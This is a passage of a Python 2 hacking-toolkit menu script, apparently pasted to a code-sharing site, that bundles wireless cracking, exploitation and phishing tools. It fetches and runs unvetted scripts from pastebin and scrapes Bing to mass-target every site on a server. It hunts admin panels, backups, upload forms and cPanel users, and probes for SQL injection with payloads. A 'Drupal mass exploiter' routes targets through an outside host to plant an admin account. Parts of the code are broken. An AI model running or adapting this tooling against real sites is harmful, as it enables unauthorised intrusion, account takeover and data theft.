  840. os.system("git clone https://github.com/deltaxflux/fluxion && cd fluxion && sudo bash Installer.sh")
  841. def wire():
  842. print("1 : Reaver ")
  843. print("2 : PixieWPS")
  844. print("3 : Bluetooth Honeypot GUI Framework")
  845. print("4 : Fluxion - WPA/WPA2 Security Hacking Without Brute Force ")
  846. print("99: Go Back")
  847. choice4 = raw_input("Enter Your Choice: ")
  848. if choice4 =="1":
  849. clearScr();reaver()
  850. if choice4 =="2":
  851. clearScr(); pixiewps()
  852. if choice4 =="3":
  853. bluepot()
  854. if choice4 =="4":
  855. fluxion()
  856. elif choice4 =="99":
  857. menu()
  858. elif choice4 == "":
  859. menu()
  860. else:
  861. menu()
  862. def exp():
  863. print("1 : Venom")
  864. print("2 : SqlMAP")
  865. print("3 : Shellnoob")
  866. print("4 : Commix")
  867. print("5 : FTP Auto Bypass")
  868. print("6 : JBoss-autopwn")
  869. print("7 : Bsqlbf")
  870. print("8 : CMS Few")
  871. print("9 : BLACKBOx")
  872. print("10: Liffy")
  873. print("99: Go Back")
  874. choice5 = raw_input("Enter Your Choice: ")
  875. if choice5 =="2":
  876. clearScr(); sqlmap()
  877. if choice5 =="1":
  878. os.system('clear'); venom()
  879. if choice5 =="3":
  880. clearScr(); shellnoob()
  881. if choice5 =="4":
  882. os.system("clear"); commix()
  883. if choice5 =="5":
  884. clearScr(); gabriel()
  885. if choice5 =="6":
  886. clearScr(); jboss()
  887. if choice5 =="7":
  888. clearScr();bsqlbf()
  889. if choice5 =="8":
  890. cmsfew()
  891. if choice5 =="9":
  892. blackbox()
  893. if choice5 =="10":
  894. liffy()
  895. elif choice5 =="99":
  896. menu()
  897. elif choice5 == "":
  898. menu()
  899. else:
  900. menu()
  901.  
  902. def liffy():
  903. os.system("git clone https://github.com/hvqzao/liffy.git && cd liffy")
  904. os.system("pip install requests && pip install argparse && pip install blessings && pip install urlparse && pip install daemon")
  905. os.system("python liffy.py -h")
  906. commandlfi = raw_input("Enter Liffy Command: ")
  907. os.system("python liffy.py %S"%commandlfi)
  908. def blackbox():
  909. os.system("git clone https://darkeye@bitbucket.org/darkeye/blackbox.git && cd blackbox")
  910. os.system("python blackbox.py -h")
  911. blackboxmodule = raw_input("Choose A Module: ")
  912. os.system("python blackbox.py %s")%blackboxmodule
  913. def snif():
  914. print("1 : Setoolkit ")
  915. print("2 : SSLtrip")
  916. print("3 : pyPISHER")
  917. print("4 : SMTP Mailer")
  918. print("99: Back To Main Menu")
  919. choice6 = raw_input("Select from the menu:")
  920. if choice6 =="1":
  921. clearScr(); setoolkit()
  922. if choice6 =="2":
  923. clearScr(); ssls()
  924. if choice6 =="3":
  925. clearScr(); pisher()
  926. if choice6 =="4":
  927. clearScr(); smtpsend()
  928. if choice6 =="99":
  929. clearScr(); menu()
  930. elif choice6 == "":
  931. menu()
  932. else:
  933. menu()
  934. def cmsfew():
  935. print("Your target must be Joomla, Mambo, PHP-Nuke, and XOOPS Only ")
  936. target = raw_input("Select a target : ")
  937. os.system("wget https://dl.packetstormsecurity.net/UNIX/scanners/cms_few.py.txt -O cms.py")
  938. os.system("python cms.py %s"%target)
  939. def smtpsend():
  940. os.system("wget http://pastebin.com/raw/Nz1GzWDS --output-document=smtp.py")
  941. clearScr()
  942. os.system("python smtp.py")
  943. def pisher():
  944. os.system("wget http://pastebin.com/raw/DDVqWp4Z --output-document=pisher.py")
  945. clearScr()
  946. os.system("python pisher.py")
  947. menuu = """
  948. 1 : Get all websites
  949. 2 : Get joomla websites
  950. 3 : Get wordpress websites
  951. 4 : Find control panel
  952. 5 : Find zip files
  953. 6 : Find upload files
  954. 7 : Get server users
  955. 8 : Scan from SQL injection
  956. 9 : Scan ports (range of ports)
  957. 10: Scan ports (common ports)
  958. 11: Get server banner
  959. 12: Bypass Cloudflare
  960. 99: Exit
  961. """
  962. def unique(seq):
  963. """
  964. get unique from list found it on stackoverflow
  965. """
  966. seen = set()
  967. return [seen.add(x) or x for x in seq if x not in seen]
  968. def clearScr() :
  969. """
  970. clear the screen in case of GNU/Linux or
  971. windows
  972. """
  973. if system() == 'Linux':
  974. os.system('clear')
  975. if system() == 'Windows':
  976. os.system('cls')
  977. class TNscan : #TNscan Function menu
  978. def __init__(self, serverip) :
  979. self.serverip = serverip
  980. self.getSites(False)
  981. print menuu
  982. while True :
  983. choice = raw_input(' Enter choice -> ')
  984. if choice == '1' :
  985. self.getSites(True)
  986. elif choice == '2' :
  987. self.getJoomla()
  988. elif choice == '3' :
  989. self.getWordpress()
  990. elif choice == '4' :
  991. self.findPanels()
  992. elif choice == '5' :
  993. self.findZip()
  994. elif choice == '6' :
  995. self.findUp()
  996. elif choice == '7' :
  997. self.getUsers()
  998. elif choice == '8' :
  999. self.grabSqli()
  1000. elif choice == '9' :
  1001. ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
  1002. self.portScanner(1, ran)
  1003. elif choice == '10' :
  1004. self.portScanner(2, None)
  1005. elif choice == '11' :
  1006. self.getServerBanner()
  1007. elif choice == '12' :
  1008. self.cloudflareBypasser()
  1009. elif choice == '99' :
  1010. menu()
  1011. con = raw_input(' Continue [Y/n] -> ')
  1012. if con[0].upper() == 'N' :
  1013. exit()
  1014. else :
  1015. clearScr()
  1016. print menuu
  1017. def getSites(self, a) :
  1018. """
  1019. get all websites on same server
  1020. from bing search
  1021. """
  1022. lista = []
  1023. page = 1
  1024. while page <= 101:
  1025. try:
  1026. bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page)
  1027. openbing = urllib2.urlopen(bing)
  1028. readbing = openbing.read()
  1029. findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  1030. for i in range(len(findwebs)):
  1031. allnoclean = findwebs[i]
  1032. findall1 = re.findall('http://(.*?)/', allnoclean)
  1033. for idx, item in enumerate(findall1):
  1034. if 'www' not in item:
  1035. findall1[idx] = 'http://www.' + item + '/'
  1036. else:
  1037. findall1[idx] = 'http://' + item + '/'
  1038. lista.extend(findall1)
  1039.  
  1040. page += 50
  1041. except urllib2.URLError:
  1042. pass
  1043. self.sites = unique(lista)
  1044. if a :
  1045. clearScr()
  1046. print '[*] Found ', len(lista), ' Website\n'
  1047. for site in self.sites :
  1048. print site
  1049. def getWordpress(self) :
  1050. """
  1051. get wordpress site using a dork the attacker
  1052. may do a password list attack (i did a tool for that purpose check my pastebin)
  1053. or scan for common vulnerabilities using wpscan for example (i did a simple tool
  1054. for multi scanning using wpscan)
  1055. """
  1056. lista = []
  1057. page = 1
  1058. while page <= 101:
  1059. try:
  1060. bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page)
  1061. openbing = urllib2.urlopen(bing)
  1062. readbing = openbing.read()
  1063. findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  1064. for i in range(len(findwebs)):
  1065. wpnoclean = findwebs[i]
  1066. findwp = re.findall('(.*?)\?page_id=', wpnoclean)
  1067. lista.extend(findwp)
  1068. page += 50
  1069. except:
  1070. pass
  1071. lista = unique(lista)
  1072. clearScr()
  1073. print '[*] Found ', len(lista), ' Wordpress Website\n'
  1074. for site in lista :
  1075. print site
  1076. def getJoomla(self) :
  1077. """
  1078. get all joomla websites using
  1079. bing search the attacker may bruteforce
  1080. or scan them
  1081. """
  1082. lista = []
  1083. page = 1
  1084. while page <= 101:
  1085. bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page)
  1086. openbing = urllib2.urlopen(bing)
  1087. readbing = openbing.read()
  1088. findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  1089. for i in range(len(findwebs)):
  1090. jmnoclean = findwebs[i]
  1091. findjm = re.findall('(.*?)index.php', jmnoclean)
  1092. lista.extend(findjm)
  1093. page += 50
  1094. lista = unique(lista)
  1095. clearScr()
  1096. print '[*] Found ', len(lista), ' Joomla Website\n'
  1097. for site in lista :
  1098. print site
  1099. ############################
  1100. #find admin panels
  1101. def findPanels(self) :
  1102. """
  1103. find panels from grabbed websites
  1104. the attacker may do a lot of vulnerabilty
  1105. tests on the admin area
  1106. """
  1107. print "[~] Finding admin panels"
  1108. adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']
  1109. clearScr()
  1110. for site in self.sites :
  1111. for admin in adminList :
  1112. try :
  1113. if urllib.urlopen(site + admin).getcode() == 200 :
  1114. print " [*] Found admin panel -> ", site + admin
  1115. except IOError :
  1116. pass
  1117. ############################
  1118. #find ZIP files
  1119. def findZip(self) :
  1120. """
  1121. find zip files from grabbed websites
  1122. it may contain useful informations
  1123. """
  1124. zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']
  1125. clearScr()
  1126. print "[~] Finding zip file"
  1127. for site in self.sites :
  1128. for zip1 in zipList :
  1129. try:
  1130. if urllib.urlopen(site + zip1).getcode() == 200 :
  1131. print " [*] Found zip file -> ", site + zip1
  1132. except IOError :
  1133. pass
  1134. def findUp(self) :
  1135. """
  1136. find upload forms from grabbed
  1137. websites the attacker may succeed to
  1138. upload malicious files like webshells
  1139. """
  1140. upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']
  1141. clearScr()
  1142. print "[~] Finding Upload"
  1143. for site in self.sites :
  1144. for up in upList :
  1145. try :
  1146. if (urllib.urlopen(site + up).getcode() == 200) :
  1147. html = urllib.urlopen(site + up).readlines()
  1148. for line in html :
  1149. if re.findall('type=file', line) :
  1150. print " [*] Found upload -> ", site+up
  1151. except IOError :
  1152. pass
  1153. def getUsers(self) :
  1154. """
  1155. get server users using a method found by
  1156. iranian hackers , the attacker may
  1157. do a bruteforce attack on CPanel, ssh, ftp or
  1158. even mysql if it supports remote login
  1159. (you can use medusa or hydra)
  1160. """
  1161. clearScr()
  1162. print "[~] Grabbing Users"
  1163. userslist = []
  1164. for site1 in self.sites :
  1165. try:
  1166. site = site1
  1167. site = site.replace('http://www.', '')
  1168. site = site.replace('http://', '')
  1169. site = site.replace('.', '')
  1170. if '-' in site:
  1171. site = site.replace('-', '')
  1172. site = site.replace('/', '')
  1173. while len(site) > 2:
  1174. resp = urllib2.urlopen(site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read()
  1175. if 'invalid username' not in resp.lower():
  1176. print '\t [*] Found -> ', site
  1177. userslist.append(site)
  1178. break
  1179. else :
  1180. print site
  1181.  
  1182. site = site[:-1]
  1183. except:
  1184. pass
  1185.  
  1186. clearScr()
  1187. for user in userslist :
  1188. print user
  1189. def cloudflareBypasser(self) :
  1190. """
  1191. trys to bypass cloudflare i already wrote
  1192. in my blog how it works, i learned this
  1193. method from a guy in madleets
  1194. """
  1195. clearScr()
  1196. print "[~] Bypassing cloudflare"
  1197. subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']
  1198. for site in self.sites :
  1199. site.replace('http://', '')
  1200. site.replace('/', '')
  1201. try:
  1202. ip = socket.gethostbyname(site)
  1203. except socket.error:
  1204. pass
  1205. for sub in subdoms:
  1206. doo = sub + '.' + site
  1207. print ' [~] Trying -> ', doo
  1208. try:
  1209. ddd = socket.gethostbyname(doo)
  1210. if ddd != ip:
  1211. print ' [*] Cloudflare bypassed -> ', ddd
  1212. break
  1213. except socket.error :
  1214. pass
  1215. def getServerBanner(self) :
  1216. """
  1217. simply gets the server banner
  1218. the attacker may benefit from it
  1219. like getting the server side software
  1220. """
  1221. clearScr()
  1222. try:
  1223. s = 'http://' + self.serverip
  1224. httpresponse = urllib.urlopen(s)
  1225. print ' [*] Server header -> ', httpresponse.headers.getheader('server')
  1226. except:
  1227. pass
  1228. def grabSqli(self) :
  1229. """
  1230. just grabs all websites in server with php?id= dork
  1231. for scanning for error based sql injection
  1232. """
  1233. page = 1
  1234. lista = []
  1235. while page <= 101:
  1236. try:
  1237. bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+php?id=&count=50&first=" + str(page)
  1238. openbing = urllib2.urlopen(bing)
  1239. readbing = openbing.read()
  1240. findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  1241. for i in range(len(findwebs)):
  1242. x = findwebs[i]
  1243. lista.append(x)
  1244. except:
  1245. pass
  1246. page += 50
  1247. lista = unique(lista)
  1248. self.checkSqli(lista)
  1249. def checkSqli(self, s):
  1250. """
  1251. checks for error based sql injection,
  1252. most of the codes here are from webpwn3r
  1253. project the one who has found an lfi in
  1254. yahoo as i remember, you can find a separate
  1255. tool in my blog
  1256. """
  1257. clearScr()
  1258. print "[~] Checking SQL injection"
  1259. payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
  1260. check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
  1261. for url in s:
  1262. try:
  1263. for param in url.split('?')[1].split('&'):
  1264. for payload in payloads:
  1265. power = url.replace(param, param + payload.strip())
  1266. #print power
  1267. html = urllib2.urlopen(power).readlines()
  1268. for line in html:
  1269. checker = re.findall(check, line)
  1270. if len(checker) != 0 :
  1271. print ' [*] SQLi found -> ', power
  1272. except:
  1273. pass
  1274. def portScanner(self, mode, ran) :
  1275. """
  1276. simple port scanner works with range of ports
  1277. or with common ports (al-swisre idea)
  1278. """
  1279. clearScr()
  1280. print "[~] Scanning Ports"
  1281. def do_it(ip, port):
  1282. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1283. #sock.settimeout(5)
  1284. sock = sock.connect_ex((ip,port))
  1285. if sock == 0:
  1286. print " [*] Port %i is open" % port
  1287.  
  1288. if mode == 1 :
  1289. a = ran.split('-')
  1290. start = int(a[0])
  1291. end = int(a[1])
  1292. for i in range(start, end):
  1293. do_it(self.serverip, i)
  1294. elif mode == 2 :
  1295. for port in [80,21,22,2082,25,53,110,443,143] :
  1296. # didn't use multithreading cos it's few ports
  1297. do_it(self.serverip, port)
  1298. ############################
  1299. minu ='''
  1300. \t 1: Drupal Bing Exploiter
  1301. \t 2: Get Drupal Websites
  1302. \t 3: Drupal Mass Exploiter
  1303. \t 99: Back To Main Menu
  1304. '''
  1305.  
  1306.  
  1307. #Definition Of Drupal Bing Expoliter
  1308. def drupal():
  1309.  
  1310. '''Drupal Exploit Binger All Websites Of server '''
  1311. ip = raw_input('1- IP : ')
  1312. page = 1
  1313. while page <= 50 :
  1314.  
  1315. url = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
  1316. req = urllib2.Request(url)
  1317. opreq = urllib2.urlopen(req).read()
  1318. findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  1319. page += 1
  1320.  
  1321. for url in findurl :
  1322. try :
  1323.  
  1324. urlpa = urlparse(url)
  1325. site = urlpa.netloc
  1326.  
  1327. print "[+] Testing At "+site
  1328. resp = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+site+'&submit=submit')
  1329. read=resp.read()
  1330. if "User : HolaKo" in read:
  1331. print "Exploit found =>"+site
  1332.  
  1333. print "user:HolaKo\npass:admin"
  1334. a = open('up.txt','a')
  1335. a.write(site+'\n')
  1336. a.write("user:"+user+"\npass:"+pwd+"\n")
  1337. else :
  1338. print "[-] Expl Not Found :( "
  1339.  
  1340. except Exception as ex :
  1341. print ex
  1342. sys.exit(0)
  1343.  
  1344.  
  1345. #Drupal Server ExtraCtor
  1346. def getdrupal():
  1347. ip = raw_input('Enter The Ip : ')
  1348. page = 1
  1349. sites = list()
  1350. while page <= 50 :
  1351.  
  1352. url = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
  1353. req = urllib2.Request(url)
  1354. opreq = urllib2.urlopen(req).read()
  1355. findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  1356. page += 1
  1357.  
  1358. for url in findurl :
  1359. split = urlparse(url)
  1360. site = split.netloc
  1361. if site not in sites :
  1362. print site
  1363. sites.append(site)
  1364.  
  1365.  
  1366. #Drupal Mass List Exploiter
  1367. def drupallist():
  1368. listop = raw_input("Enter The list Txt :")
  1369. fileopen = open(listop,'r')
  1370. content = fileopen.readlines()
  1371. for i in content :
  1372. url=i.strip()
  1373. try :
  1374. openurl = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+url+'&submit=submit')
  1375. readcontent = openurl.read()
  1376. if "Success" in readcontent :
  1377. print "[+]Success =>"+url
  1378. print "[-]username:HolaKo\n[-]password:admin"
  1379. save = open('drupal.txt','a')
  1380. save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
  1381.  
  1382. else :
  1383. print i + "=> exploit not found "
  1384. except Exception as ex :
  1385. print ex
  1386. def maine():
  1387.  
  1388. print minu
  1389. choose = raw_input("choose a number :")
  1390. while True :
  1391.  
  1392. if choose == "1":
  1393. drupal()
  1394. if choose == "2":
  1395. getdrupal()
  1396. if choose == "3":
  1397. drupallist()
  1398. if choose == "4":
  1399. about()
  1400. if choose == "99":
  1401. menu()
  1402. con = raw_input('Continue [Y/n] -> ')
  1403. if con[0].upper() == 'N' :
  1404. exit()
  1405. if con[0].upper() == 'Y' :
  1406. maine()
  1407. def unique(seq):
  1408. seen = set()
  1409. return [seen.add(x) or x for x in seq if x not in seen]
  1410. def bing_all_grabber(s):
  1411. lista = []
  1412. page = 1
  1413. while page <= 101:
  1414. try:
  1415. bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
  1416. openbing = urllib2.urlopen(bing)
  1417. readbing = openbing.read()
  1418. findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  1419. for i in range(len(findwebs)):
  1420. allnoclean = findwebs[i]
  1421. findall1 = re.findall('http://(.*?)/', allnoclean)
  1422. for idx, item in enumerate(findall1):
  1423. if 'www' not in item:
  1424. findall1[idx] = 'http://www.' + item + '/'
  1425. else:
  1426. findall1[idx] = 'http://' + item + '/'
  1427. lista.extend(findall1)
  1428.  
  1429. page += 50
  1430. except urllib2.URLError:
  1431. pass
  1432.  
  1433. final = unique(lista)
  1434. return final
  1435. def check_wordpress(sites) :
  1436. wp = []
  1437. for site in sites :
  1438. try :
  1439. if urllib2.urlopen(site+'wp-login.php').getcode() == 200 :
  1440. wp.append(site)
  1441. except :
  1442. pass
  1443.  
  1444. return wp
  1445. def check_joomla(sites) :
  1446. joomla = []
  1447. for site in sites :
  1448. try :
  1449. if urllib2.urlopen(site+'administrator').getcode() == 200 :
  1450. joomla.append(site)
  1451. except :
  1452. pass
  1453.  
  1454. return joomla
  1455. def wppjmla():
  1456.  
  1457. ipp = raw_input('Enter Target IP: ')
  1458. sites = bing_all_grabber(str(ipp))
  1459. wordpress = check_wordpress(sites)
  1460. joomla = check_joomla(sites)
  1461. for ss in wordpress :
  1462. print ss
  1463. print '[+] Found ! ', len(wordpress), ' Wordpress Websites'
  1464. print '-'*30+'\n'
  1465. for ss in joomla :
  1466. print ss
  1467.  
  1468.  
  1469. print '[+] Found ! ', len(joomla), ' Joomla Websites'
  1470.  
  1471. print '\n'
  1472. #initialise the tnscan function
  1473. class tnn():
  1474. def __init__(self):
  1475. clearScr()
  1476. aaa = raw_input("Target IP : ")
  1477. TNscan(aaa)
  1478. ############################
  1479. def grabsqli(ip):
  1480. try :
  1481. print bcolors.OKBLUE + "Check_Uplaod... "
  1482. print '\n'
  1483.  
  1484. page = 1
  1485. while page <= 21:
  1486. bing = "http://www.bing.com/search?q=ip%3A"+ip+"+upload&count=50&first="+str(page)
  1487. openbing = urllib2.urlopen(bing)
  1488. readbing = openbing.read()
  1489. findwebs = re.findall('<h2><a href="(.*?)"' , readbing)
  1490. sites = findwebs
  1491. for i in sites :
  1492. try :
  1493. response = urllib2.urlopen(i).read()
  1494. checksqli(i)
  1495. except urllib2.HTTPError, e:
  1496. str(sites).strip(i)
  1497.  
  1498. page = page + 10
  1499. except :
  1500. pass
  1501. def checksqli(sqli):
  1502. responsetwo = urllib2.urlopen(sqli).read()
  1503. find = re.findall('type="file"',responsetwo)
  1504. if find:
  1505. print(" Found ==> " + sqli)
  1506. def sqlscan():
  1507. ip = raw_input('Enter IP : ')
  1508. grabsqli(ip)
  1509. # found this code on stackoverflow.com/questions/19278877
  1510. def unique(seq):
  1511. seen = set()
  1512. return [seen.add(x) or x for x in seq if x not in seen]
  1513. def bing_all_grabber(s):
  1514. lista = []
  1515. page = 1
  1516. while page <= 101:
  1517. try:
  1518. bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
  1519. openbing = urllib2.urlopen(bing)
  1520. readbing = openbing.read()
  1521. findwebs = re.findall('<h2><a href="(.*?)"', readbing)
  1522. for i in range(len(findwebs)):
  1523. allnoclean = findwebs[i]
  1524. findall1 = re.findall('http://(.*?)/', allnoclean)
  1525. for idx, item in enumerate(findall1):
  1526. if 'www' not in item:
  1527. findall1[idx] = 'http://www.' + item + '/'
  1528. else:
  1529. findall1[idx] = 'http://' + item + '/'
  1530. lista.extend(findall1)
  1531.  
  1532. page += 50
  1533. except urllib2.URLError:
  1534. pass
  1535.  
  1536. final = unique(lista)
  1537. return final
  1538. def check_wordpress(sites) :
  1539. wp = []
  1540. for site in sites :
  1541. try :
  1542. if urllib2.urlopen(site+'wp-login.php').getcode() == 200 :
  1543. wp.append(site)
  1544. except :
  1545. pass
  1546.  
  1547. return wp
  1548. def check_wpstorethemeremotefileupload(sites) :
  1549. wpstorethemeremotefileupload = []
  1550. for site in sites :
  1551. try :
  1552. if urllib2.urlopen(site+'wp-content/themes/WPStore/upload/index.php').getcode() == 200 :
  1553. wpstorethemeremotefileupload.append(site)
  1554. except :
  1555. pass
  1556.  
  1557. return wpstorethemeremotefileupload
  1558. def check_wpcontactcreativeform(sites) :
  1559. wpcontactcreativeform = []
  1560. for site in sites :
  1561. try :
  1562. if urllib2.urlopen(site+'wp-content/plugins/sexy-contact-form/includes/fileupload/index.php').getcode() == 200 :
  1563. wpcontactcreativeform.append(site)
  1564. except :
  1565. pass
  1566.  
  1567. return wpcontactcreativeform
  1568. def check_wplazyseoplugin(sites) :
  1569. wplazyseoplugin = []
  1570. for site in sites :
  1571. try :
  1572. if urllib2.urlopen(site+'wp-content/plugins/lazy-seo/lazyseo.php').getcode() == 200 :
  1573. wplazyseoplugin.append(site)
  1574. except :
  1575. pass
  1576.  
  1577. return wplazyseoplugin
  1578. def check_wpeasyupload(sites) :
  1579. wpeasyupload = []
  1580. for site in sites :
  1581. try :
  1582. if urllib2.urlopen(site+'wp-content/plugins/easy-comment-uploads/upload-form.php').getcode() == 200 :
  1583. wpeasyupload.append(site)
  1584. except :
  1585. pass
  1586.  
  1587. return wpeasyupload
  1588. def check_wpsymposium(sites) :
  1589. wpsymposium = []
  1590. for site in sites :
  1591. try :
  1592. if urllib2.urlopen(site+'wp-symposium/server/file_upload_form.php').getcode() == 200 :
  1593. wpsycmium.append(site)
  1594. except :
  1595. pass
  1596.  
  1597. return wpsymposium
  1598. def wpminiscanner():
  1599. ip = raw_input('Enter IP : ')
  1600. sites = bing_all_grabber(str(ip))
  1601. wordpress = check_wordpress(sites)
  1602. wpstorethemeremotefileupload = check_wpstorethemeremotefileupload(sites)
  1603. wpcontactcreativeform = check_wpcontactcreativeform(sites)
  1604. wplazyseoplugin = check_wplazyseoplugin(sites)
  1605. wpeasyupload = check_wpeasyupload(sites)
  1606. wpsymposium = check_wpsymposium(sites)
  1607. for ss in wordpress :
  1608. print ss
  1609. print '[*] Found, ', len(wordpress), ' wordpress sites.'
  1610. print '-'*30+'\n'
  1611. for ss in wpstorethemeremotefileupload :
  1612. print ss
  1613. print '[*] Found, ', len(wpstorethemeremotefileupload), ' wp_storethemeremotefileupload exploit.'
  1614. print '-'*30+'\n'
  1615. for ss in wpcontactcreativeform :
  1616. print ss
  1617. print '[*] Found, ', len(wpcontactcreativeform), ' wp_contactcreativeform exploit.'
  1618. print '-'*30+'\n'
  1619. for ss in wplazyseoplugin :
  1620. print ss
  1621. print '[*] Found, ', len(wplazyseoplugin), ' wp_lazyseoplugin exploit.'
  1622. print '-'*30+'\n'
  1623. for ss in wpeasyupload :
  1624. print ss
  1625. print '[*] Found, ', len(wpeasyupload), ' wp_easyupload exploit.'
  1626. print '-'*30+'\n'
  1627. for ss in wpsymposium :
  1628. print ss
  1629.  
  1630.  
  1631. print '[*] Found, ', len(wpsymposium), ' wp_sympsiup exploit.'
  1632.  
  1633. print '\n'
  1634. ############################
  1635. #begin :D
  1636. if __name__ == "__main__":
  1637. menu()
Add Comment
Please, Sign In to add comment